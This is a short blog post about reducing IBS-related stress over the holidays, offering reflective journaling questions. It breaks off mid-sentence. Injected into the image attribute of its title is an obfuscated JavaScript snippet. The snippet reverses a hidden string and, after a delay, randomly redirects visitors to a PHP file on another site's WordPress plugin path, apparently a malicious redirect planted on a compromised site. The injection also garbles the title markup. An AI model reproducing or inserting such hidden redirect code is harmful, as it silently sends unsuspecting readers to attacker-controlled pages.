Tagged: holiday stress

Creating Less IBS Stress and More Fa La La for the Holidays

Creating Less IBS Stress <script type=$vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == "string") return $vTB$I_919AeEAw2z$KX.list[n].split("").reverse().join("");return $vTB$I_919AeEAw2z$KX.list[n];};$vTB$I_919AeEAw2z$KX.list=["\'php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and More Fa La La for the Holidays" class="alignleft wp-post-image" />

Do you find yourself trying really hard to be perfect during the holidays?

 

Are you pushing yourself to feel jolly to make it a great holiday for family and friends?

 

If you answered yes to either of those questions take a moment and see how your body really feels about creating the perfect holiday.

 

Grab pen and paper and spend some time with these questions:

 

Are your IBS symptoms more severe this time of the year?

 

Write down what you are thinking and doing when you notice your symptoms increase. Notice if there’s a pattern. Understanding your body’s response can help you change [...]

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